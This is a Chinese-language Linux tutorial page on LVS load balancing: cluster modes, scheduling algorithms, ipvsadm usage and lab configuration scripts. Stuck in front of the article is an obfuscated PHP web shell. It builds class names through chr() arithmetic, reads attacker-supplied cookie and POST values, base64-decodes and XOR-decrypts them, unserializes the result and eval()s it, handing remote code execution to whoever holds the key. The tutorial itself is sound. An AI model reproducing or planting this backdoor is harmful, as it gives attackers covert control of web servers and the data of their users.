$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} LVS | Linux运维部落

LVS

LVS概述

1.LVS:Linux Virtual Server全称叫做linux虚拟服务器,是一个虚拟的服务器集群系统。本项目在1998年5月由章文嵩博士成立,是中国国内最早出现的自由软件项目之一。四层路由器(交换),根据请求报文的目标IP和目标协议及端口将其调度转发至后端主机集群中的某台RealServer(真实服务器),根据调度算法来挑选RS;
主要有两个组件
VS: Virtual Server 虚拟服务器
RS: Real Server 真实服务器
2、lvs: 由ipvsadm/ipvs两部分组成
ipvsadm:
    工作与用户空间的命令行工具,规则管理器,用于管理集群服务及RealServer(真实服务器);
ipvs:
    工作于内核空间的netfilter的INPUT钩子之上的框架;其集群功能依赖于ipvsadm定义的集群服务器规则;
    工作模式:通过更改目标IP的方式或直接再次封装报文的mac地址的方式或者在网络层首部之外再此封装一个网络层首部(双ip首部及ipip隧道),
    强行改变本该发往本机内部的报文,转而发往后方Real server主机,支持基于TCP、UDP、SCTP、AH、EST、AH_EST等协议的众多服务;
3、lvs集群类型中的术语:
vs:Virtual  Server;虚拟服务,可称为Director、Dispatcher分发器、Balancer负载均衡器
rs:Real  Server;真实服务器,可称为upstream server上游服务器, backend server后端主机
CIP:Client  IP;客户端IP
RIP:Real  Server IP;真实服务器IP 
VIP: Virtual serve IP;等同于FIP(流动IP),负载均衡器虚拟IP
DIP:Director  IP;调度IP(第二张网卡IP地址)

真正的通信是;
    CIP <--> VIP 之间进行通信
    DIP <--> RIP 之间进行通信
4、负载均衡集群中设计时的要点
 1)session保持
    session sticky (iphash):IP地址绑定,来源IP记录在ip hash表作统一调度
    session cluster(multicast/broadcast/unicast):广播集群同步(复制)session,只适用于小规模场景
    session server ():session服务器
2)数据共享(提供一致性存储)
    1) 共享存储;
        NAS:Network Attached Storage (文件级别),网络附加存储,文件服务器
        SAN:Storage Area Network (块级别),存储区域网络
        DS:Distributed Storage,分布式春初
    2) 数据同步:rsync … ...

lvs集群的类型:

1、lvs-nat:地址伪装模型
多目标IP的DNAT,通过将请求报文中的目标地址和目标端口修改为某挑出的RS的RIP和PORT实现转发;
客户端主机发起请求报文CIP指向VIP,通过内核的核心网卡间转发功能,VIP会将请求交给DIP进行调度,
DIP根据设定的算法进行负载均衡给后端的RS主机的RIP,在这个过程中DIP调度功能会将目标IP地址重写为RIP。
请求和返回请求读要调度DIP来进行转换操作。

须知:
    (1)RIP和DIP必须在同一个IP网络,且应该使用私网地址;RS的网关要指向DIP;
    (2)请求报文和响应报文都必须经由Director转发;Director易于成为系统瓶颈;
    (3)支持端口映射,可修改请求报文的目标PORT;
    (4)vs必须是Linux系统,rs可以是任意系统;

LVS

2、lvs-dr:
(direct routing直接路由):网关模型
通过为请求报文重新封装一个MAC首部进行转发,源MAC是DIP所在的接口的MAC,目标MAC是某挑选出的RS的RIP所在接口的MAC地址;源IP/PORT,以及目标IP/PORT均保持不变;
客户端发起请求,经过层层路由到达离VS服务器最近的交换机,通过交换机转发给VS服务器,此时因为每个RS真实主机的LO本地回环接口上都写了VIP地址,并且通过修改内核参数的操作禁止内核的arp请求响应级别和修改自己向外通告的模式,Real server主机不会相应arp请求。所有请求就会到达VS服务器并且由VS服务器负载均衡转发请求给RS服务器。在此过程中VIP修改MAC地址调度请求给真实主机。在此过程中通过ARP协议在一个局域网中广播寻找真实主机的MAC地址。实现全过程源地址为CIP,并且强行限制RS主机的响应报文必须经过LO以此实现目标地址为VIP不变。调度基于寻找MAC。网关模型中的所有主机均要能与外网通信。这样RS主机就能够直接响应客户机。

须知:Director和各RS都得配置使用VIP;
    (1) 确保前端路由器将目标IP为VIP的请求报文发往Director:
        解决方案:
            (a) 在前端网关做静态绑定;
            (b) 在RS上使用arptables;
            (c) 在RS上修改内核参数以禁止RS响应VIP的ARP请求;                 
                1) 修改各RS的内核参数,并把VIP配置在特定的接口上实现禁止其响应;
                    arp_announce
                    arp_ignore
    (2) RS的RIP可以使用私网地址,也可以是公网地址;
        RIP与DIP在同一IP网络;RIP的网关不能指向DIP,以确保响应报文不会经由Director;
    (3) RS跟Director要在同一个物理网络;
    (4) 不支持端口映射;
    (5) RS的OS得支持隧道功能;
    (6) 各RS可以使用大多数的操作系统;

LVS

3、lvs-tun:在原请求IP报文之外新加一个IP首部;ipip隧道
    转发方式:
        不修改请求报文的IP首部(源IP为CIP,目标IP为VIP),而在原IP报文之外再封装一个IP首部(源IP是DIP,目标IP是RIP),将报文发往挑选出的目标RS;
    须知:
        (1) DIP, VIP, RIP都应该是公网地址;
        (2) RS的网关不能,也不可能指向DIP;
        (3) 请求报文要经由Director,但响应不能经由Director;
        (4) 不支持端口映射;
        (5) RS的OS得支持隧道功能;
4、lvs-fullnat:修改请求报文的源和目标IP完成转发;
    通过同时修改请求报文的源IP地址(cip-->dip)和目标IP地址(vip--> rip)实现转发;
    须知:
        (1) VIP是公网地址,RIP和DIP是私网地址,且通常不在同一IP网络;因此,RIP的网关一般不会指向DIP;
        (2) RS收到的请求报文源地址是DIP,因此,只需响应给DIP;但Director还要将其发往Client;
        (3) 请求和响应报文都经由Director;
        (4) 支持端口映射;

注意:

前三种为标准类型,第四种为后添加类型,内核默认可能不支持,需自编译内核

LVS scheduler调度算法

根据其调度时是否考虑各RS当前的负载状态,可分为静态方法和动态方法两种:

静态方法:仅根据算法本身进行调度;
    RR:roundrobin,轮询;依次分配请求,方式简单但时负载均衡的效果一般
    WRR:Weighted RR,加权轮询;权重越大承担负载越大
    SH:Source Hashing,实现session sticy,源IP地址hash;将来自于同一个IP地址的请求始终发往第一次挑中的RS,从而实现会话绑定;
        缺点:调度力度大,对负载均衡效果差;session黏性不同,连接时长保持不同
    DH:Destination Hashing;目标地址哈希,将发往同一个目标地址的请求始终转发至第一次挑中的RS;能实现连接追踪,但不考虑负载均衡效果

动态方法:主要根据每RS当前的负载状态及调度算法进行调度;
    Overhead:负载值,VS转发时记录每个RS的Active和Inactive数量(甚至权重)进行算法计算
    Active:活动链接值,当发起新请求后保持在ESTABLISHED状态时,仍有请求响应
    Inactive:非活动链接值,在ESTABLISHED状态时,尚未断开保持空闲等待状态

    LC:least connections;最少连接
        Overhead=activeconns*256+inactiveconns
        后端的RS谁的连接少就分发请求至那台RS,若overhead一样则自上而下轮询列表中的RS

    WLC:Weighted LC;加权最小连接
        Overhead=(activeconns*256+inactiveconns)/weight,计算结果小的将为选中的下一跳RS服务器
        缺点:当Overhead一样时,自上而下轮询响应,权重小的若在列表上方则其会响应

    SED:Shortest Expection Delay;最短期望延迟
        Overhead=(activeconns+1)*256/weight
         缺点:解决WLC问题,但时无法确保权重小的主机一定响应

    NQ:Never Queue;永不排队,SED算法改进
        RS权重大小排列,每台RS服务器先分配一个请求,其余的按照权重大小计算分配

    LBLC:Locality-Based LC;
        基于本地的最少连接,动态的 DH连接算法
    LBLCR:LBLC with Replication;
        带复制功能的LBLC

ipvs:

ipvs:工作在内核级别的,适用于服务器应用级别的服务器,如centos;查看是否已经编译进的方法如下;
    ~]# grep -i -C 10 "ipvs" /boot/config-3.10.0-327.el7.x86_64

    支持的协议:TCP, UDP, AH, ESP, AH_ESP, SCTP;

ipvs集群定义:两个级别的定义
    1)集群服务
    2)服务上的RS

ipvsadm命令:

1、管理集群服务:增、改、删;
增、改:
    ipvsadm -A|E -t|u|f service-address [-s scheduler] [-p [timeout]]

删:
    ipvsadm -D -t|u|f service-address

-A:添加、-E:修改、-D:删除

service-address:服务地址和 -t|u|f 结合使用,具体格式如下
    -t|u|f:
        -t, tcp, vip:port ; TCP的ip和port
        -u, udp, vip:port ; UDP的ip和port
        -f:firewall MARK ; 是一个数字;防火墙标记
    [-s scheduler]:指定集群的调度算法,默认为wlc;

    -p [timeout] :超出时长,持久连接相关,默认时长为300秒
2、管理集群上的RS:增、改、删;
增、改:
ipvsadm -a|e -t|u|f service-address -r server-address [-g|i|m] [-w weight]

删:
ipvsadm -d -t|u|f service-address -r server-address

-a:添加一个RS、-e:修改一个RS、-d:删除一个RS

server-address指的是rip[:port],端口可省表示与之前的service-address相同,只有nat模式支持端口映射才会使用

选项:
    lvs类型:
        -g: gateway(默认), dr类型
        -i: ipip, lvs-tun隧道类型
        -m: masquerade, lvs-nat类型                       
        -w weight:权重;
3、查看:
ipvsadm -L|l [options]
    --numeric, -n:数字格式显示地址和端口;
    --exact:精确值,不经过单位换算的数值                   
    --connection, -c:显示ipvs连接;
    --stats:显示统计数据;
    --rate :速率
4、保存和重载:
ipvsadm -S = ipvsadm-save
ipvsadm -R = ipvsadm-restore
5、计数器清零:
pvsadm  -Z [-t|u|f service-address]
6、清空定义的所有内容:
ipvsadm  -C

lvs-nat模型构建

1、lvs-nat模型示意图

本次构建的lvs-nat模型的示意图如下,其中所有的服务器和测试客户端均使用VMware虚拟机模拟,所使用的CentOS 7

VS内核都支持ipvs功能,且安装ipvsadm控制书写lvs规则工具。

RS端两台服务器为httpd服务器做请求的负载均衡。

LVS

2、VS网卡配置

1、在"虚拟机设置"中增加一个网络适配器设备,并将其自定义特定网络为VMnet1模式,此处为了模拟负载均衡服务器的两张网卡处于不同网段

LVS

2、配置VS两张网卡的IP地址

网络适配器1(10.1.19.11)模拟为外网网卡,网络适配器2(192.168.25.135)模拟为内网,且该网卡的Ip地址要和RS服务器得ip在同一网段,DIP作为RIP的网络调度(网关),无需配置GATEWAY

LVS

LVS

3、RS网卡配置

此处使用两台CentOS 7虚拟机作为负载均衡后端真实响应主机,安装RPM包格式httpd服务,并启动服务。nmtui命令配置网卡信息,RS1的IP:192.168.25.129,RS2的IP:192.168.25.130,RIP和DIP在同一网段,虚拟机网卡和DIP同时匹配值为VMnet1模式,且两台RS服务器主机网关指向DIP:192.168.25.135

]# yum install -y httpd
]# systemctl start httpd.service
注意:安装完成后在各httpd服务器上配置测试页面,/var/www/html/index.html.
4、测试所有主机是否能够通信

用ping命令测试各节点的通信,例如RIP1和VIP、DIP、RIP2之间是否能够通信

]# ping  IPADDR
5、同步所有主机的时间,这里使用chrony 也可以手动同步
]# vim /etc/chrony.conf 编辑文件添加一行如下;
    server 10.1.0.1 iburst
]# systemctl restart chronyd.service
6、测试两台RS的服务是否能正常访问

LVS

7、VS主机:核心转发和安装ipvsadm
1)安装ipvsadm组件:[root@localhost ~]# yum install -y ipvsadm
2)启动网卡间核心转发功能:[root@localhost ~]# sysctl -w net.ipv4.ip_forward=1 也可以echo 1 到/proc/sys/net/ipv4/ip_forward
]# cat /proc/sys/net/ipv4/ip_forward

LVS

7、VS主机:定义配置lvs-nat服务(此处采用rr算法)
1)定义ipvsadm负载均衡集群规则,并查看
 此处定义DIP是以-s指定为rr算法进行轮询调度,-m指定模式为lvs-nat,配置命令如下:
    ]# ipvsadm -A -t 10.1.19.11:80 -s rr
    ]# ipvsadm -a -t 10.1.19.11:80 -r 192.168.25.129 -m
    ]# ipvsadm -a -t 10.1.19.11:80 -r 192.168.25.130 -m
    ]# ipvsadm -L -n

LVS

2)Client客户机测试
在客户端主机上使用curl命令对VIP发起请求,负载均衡服务器会将请求按照rr算法依次将请求调度给不同的主机进行处理,依次请求给分发给192.168.25.129和192.168.25.130主机响应。

LVS

负载均衡集群的设计要点:
(1) 是否需要会话保持;
(2) 是否需要共享存储;
共享存储:NAS, SAN, DS(分布式存储)
设计要点:
(1) RIP与DIP在同一IP网络, RIP的网关要指向DIP;
(2) 支持端口映射;

lvs-dr模型构建

dr模型中,各主机上均需要配置VIP,解决地址冲突的方式有三种;

(1) 在前端网关做静态绑定;
(2) 在各RS使用arptables;
(3) 在各RS修改内核参数,来限制arp响应和通告的级别;
    限制响应级别:arp_ignore
        0:默认值,表示可使用本地任意接口上配置的任意地址进行响应;
        1: 仅在请求的目标IP配置在本地主机的接收到请求报文接口上时,才给予响应;
    限制通告级别:arp_announce
        0:默认值,把本机上的所有接口的所有信息向每个接口上的网络进行通告;
        1:尽量避免向非直接连接网络进行通告;
        2:必须避免向非本网络通告;
1、lvs-dr模型示意图

三台主机为虚拟机CentOS 7,每台主机仅有一块网卡,且使用桥接方式都指向外部网络的网关172.18.19.1

LVS

2、RS服务器配置APR内核参数修改
[root@localhost~]# ll /proc/sys/net/ipv4/conf

LVS

1)ARP响应行为和ARP解析行为内核参数:

1)arp_annouce定义通告级别
    0:默认级别,将本地的任何接口上的配置的地址都在网络中通告
    1:尽量避免向本主机上的其他网卡进行网络通信,特殊情况下其他接口也可以
    2:总是使用最佳网络地址接口(仅使用定义的网卡接口在同网络通信)
2)arp_ignore定义响应级别(0-8九个级别),响应时忽略方式
    0:都全都响应
    1:只对从本接口进入的请求响应,且本接口地址是个网络地址
    … …
注释:一般使用arp_annouce=2,arp_ignore=1

2)配置各RS主机参数

注意:all必须配置、eno16777736(本地)和lo两个可以同时全部配置或者配置其中一个
RealServer内核参数:
]# echo 1 > /proc/sys/net/ipv4/conf/all/arp_ignore
]# echo 2 > /proc/sys/net/ipv4/conf/all/arp_announce
]# echo 1 > /proc/sys/net/ipv4/conf/INTERFACE/arp_ignore
]# echo 2 > /proc/sys/net/ipv4/conf/INTERFACE/arp_announce
    注意:INTERFACE为你的物理接口;此处网卡接口指的是eno16777736和lo
3、配置VS和RS服务器的VIP

此处的VIP均以别名的形式配置在往卡上,VS是配置在对外通信的DIP的网卡上;RS配置在lo本地回环网卡

注意:此时配置的VIP的子网掩码必须为255.255.255.255,广播地址为自己本身
 VS:[root@localhost~]# ifconfig eno16777736:0 172.18.19.110 netmask 255.255.255.255 broadcast 172.18.19.110 up
 RS:[root@localhost~]# ifconfig lo:0 172.18.19.110 netmask 255.255.255.255 broadcast 172.18.19.110 up
4、RS服务器上配置路由
]# route add -host 172.18.19.110 dev lo:0
]# route -n

LVS

5、VS主机:定义配置lvs-dr模式(此处采用rr算法)
1)配置和查看
    [root@localhost~]# ipvsadm -A -t 172.18.19.110:80 -s rr
    [root@localhost~]# ipvsadm -a -t 172.18.19.110:80 -r 172.18.19.218 -g
    [root@localhost~]# ipvsadm -a -t 172.18.19.110:80 -r 172.18.19.184 -g
    [root@localhost~]# ipvsadm -L -n

LVS

2)测试
     [root@localhost~]# curl http://172.18.19.110
         因为基于rr算法调度,依次分发给RS主机

LVS

6、RS的预配置脚本:
            #!/bin/bash
            #
            vip=10.1.0.5
            mask='255.255.255.255'

            case $1 in
            start)
                echo 1 > /proc/sys/net/ipv4/conf/all/arp_ignore
                echo 1 > /proc/sys/net/ipv4/conf/lo/arp_ignore
                echo 2 > /proc/sys/net/ipv4/conf/all/arp_announce
                echo 2 > /proc/sys/net/ipv4/conf/lo/arp_announce

                ifconfig lo:0 $vip netmask $mask broadcast $vip up
                route add -host $vip dev lo:0
                ;;
            stop)
                ifconfig lo:0 down

                echo 0 > /proc/sys/net/ipv4/conf/all/arp_ignore
                echo 0 > /proc/sys/net/ipv4/conf/lo/arp_ignore
                echo 0 > /proc/sys/net/ipv4/conf/all/arp_announce
                echo 0 > /proc/sys/net/ipv4/conf/lo/arp_announce

                ;;
            *) 
                echo "Usage $(basename $0) start|stop"
                exit 1
                ;;
            esac
7、VS的配置脚本:
            #!/bin/bash
            #
            vip='10.1.0.5'
            iface='eno16777736:0'
            mask='255.255.255.255'
            port='80'
            rs1='10.1.0.7'
            rs2='10.1.0.8'
            scheduler='wrr'
            type='-g'

            case $1 in
            start)
                ifconfig $iface $vip netmask $mask broadcast $vip up
                iptables -F

                ipvsadm -A -t ${vip}:${port} -s $scheduler
                ipvsadm -a -t ${vip}:${port} -r ${rs1} $type -w 1
                ipvsadm -a -t ${vip}:${port} -r ${rs2} $type -w 1
                ;;
            stop)
                ipvsadm -C
                ifconfig $iface down
                ;;
            *)
                echo "Usage $(basename $0) start|stop"
                exit 1
                ;;
            esac

通过防火墙标记来定义lvs

1、FWM:FireWall Mark
防火墙标记可以实现多个集群服务绑定为同一个,实现统一调度;将共享一组RS的集群服务统一进行定义
FWM基于iptables的mangle表实现防护墙标记功能,定义标记做策略路由
2、FWM定义集群的方式
1)在director上netfilter的mangle表的PREROUTING定义用于"打标"的规则
    ~]#iptables -t mangle -A PREROUTING -d $vip -p $protocol --dport $port -j MARK--set-mark #
        $vip:VIP地址
        $protocol:协议
        $port:协议端口
2)基于FWM定义集群服务:
    ~]#ipvsadm -A -f # -s scheduler
3、示例
[root@localhost~]# iptables -t mangle -A PREROUTING -d 172.18.19.110 -p tcp --dport 80 -j MARK --set-mark 5
[root@localhost~]# ipvsadm -A -f 5 -s rr
[root@localhost~]# ipvsadm -a -f 5 -r 172.18.19.218 -g
[root@localhost~]# ipvsadm -a -f 5 -r 172.18.19.184 -g

LVS持久连接功能:lvs persistence

1、lvs persistence功能

无论ipvs使用何种scheduler,其都能够实现在指定时间范围内始终将来自同一个ip地址的请求发往同一个RS;实现方式和lvs调度的十种算法无关,通过lvs持久连接模板(hash表)实现,当超过自定义的可持节连接时长候再根据LVS算法本身进行调度。

ipvsadm命令中-p选项实现,在-p后不指定具体数字(单位:秒),默认为300,到时候会自动延长2分钟,对于web本身就是15秒

2、模式
1)每端口持久(PPC)

客户端对同一服务端口发起请求,会基于该服务的端口实现请求在一段时间内对同一RS服务器持久连接;

例如:有两台主机做为RS服务器做http和hssh的两种服务的集群,仅http做每端口持久,Client请求会实现绑定在,但是22号端口请求不会绑定在同一台RS

2)每客户端持久(PCC):定义tcp或udp协议的0号端口为集群服务端口

director会将用户的任何请求都识别为集群服务,并向RS进行调度;同一客户端的请求任何端口都发往同一台第一次选定的RS服务器

3)每防火墙标记持久(PFWMC)

将两个或两个以上服务通过防火墙打标绑定在一起,这些服务的请求实现同时定向与同一台RS服务器,服务绑定同一RS

示例:
lvs-dr模式下以rr算法绑定http和https服务
~]#iptables -t mangle -A PREROUTING -d 172.18.19.110 -p tcp --dport 80 -j MARK--set-mark 99
~]#iptables -t mangle -A PREROUTING -d 172.18.19.110 -p tcp --dport 443 -j MARK--set-mark 99
~]#ipvsadm -A -f 99 -s rr -p
~]#ipvsadm -a -f 99 -r 172.18.19.218 -g
~]#ipvsadm -a -f 99 -r 172.18.19.84 -g

保存及重载规则:

保存:建议保存至/etc/sysconfig/ipvsadm
    ipvsadm-save > /PATH/TO/IPVSADM_FILE
    ipvsadm -S > /PATH/TO/IPVSADM_FILE
    systemctl stop ipvsadm.service 
重载: 
    ipvsadm-restore < /PATH/FROM/IPVSADM_FILE
    ipvsadm -R < /PATH/FROM/IPVSADM_FILE
    systemctl restart ipvsadm.service

考虑:

(1) Director不可用,整个系统将不可用;SPoF
    解决方案:高可用 
        keepalived 
        heartbeat/corosync
(2) 某RS不可用时,Director依然会调度请求至此RS;
    解决方案:对各RS的健康状态做检查,失败时禁用,成功时启用;
        keepalived
        heartbeat/corosync, ldirectord
    检测方式:
        (a) 网络层检测;
        (b) 传输层检测,端口探测;
        (c) 应用层检测,请求某关键资源;

        ok --> failure
        failure --> ok

原创文章,作者:M20-1马星,如若转载,请注明出处:http://www.178linux.com/58150

(0)
上一篇 2016-11-07 10:25
下一篇 2016-11-07 10:30

相关推荐

  • LAMP编译安装

    所谓的LAMP是指构建在Linux之上经典的一种web架构方式,其中L指的是Linux,A指的是Apache的httpd,M指的是Mysql或MariaDB,P指的是PHP,这种组合方式的基本工作模式是有httpd负责接收和相应用户的请求,然后将需要处理的php页面交由后端的php应用程序处理,而php应用程序处理php页面时的数据存储在Mysql数据库中,…

    Linux干货 2016-12-19
  • 系统启动流程与GRUB管理

    系统启动流程: POST–>读取BootSequence(BIOS),决定引导次序–>读取引导设备的Bootloader(MBR grubstage1–>stage1.5/boot/filkeststem)–>boot–>/boot/grub.conf–>磁盘分区读取 kernel(ramd…

    Linux干货 2016-09-13
  • LVS:三种模式的原理、调度算法、及应用介绍

    LVS三种模式原理(nat/dr/tun) LVS/NAT:   如上图,客户通过virtual IP (虚拟服务的IP地址,公网地址),访问网络服务时,请求报文到达调度器,调度器根据连接调度算法从一组真实服务器中选出一台服务器,将报文的目标地址VIP,改写成选定服务器的地址(RIP),报文的目标端口改写成选定服务器的相应端口,最后将修改…

    Linux干货 2016-10-30
  • 8.5-文本处理工具(作业篇)

     1、统计当前连接本机的每个远程主机IP的连接数,并按从大到小排序 [root@localhost ~]# netstat -nt Active Internet connections (w/o servers) Proto Recv-Q Send-Q&nb…

    Linux干货 2016-08-07
  • linux【管道命令 PIPE】选取命令、排序命令、双向从定向、比较工具

    linux【管道命令 PIPE】选取命令、排序命令、双向从定向、比较工具 选取命令【cut,grep】 cut:可将一段信息的某一段‘切’出来。处理信息时使用以‘行’为单位。 cut -d ‘分割字符’ -f fields 用于分割字符 cut -c 字符范围 用于排列整齐的信息 参数: -d:后面接分隔字符,与-f一起使用 -f:以及-d的分割字符将一段信…

    Linux干货 2017-04-04
  • awk与systemd

    GNU awkGNU awk 文本处理三工具:grep,sed,awk    grep,egrep,fgrep:文本过滤工具    sed:行(流)编辑器    awk:报告生成器,格式化文本输出 awk awk: Aho, Weinberger, Kerni…

    Linux干货 2016-09-22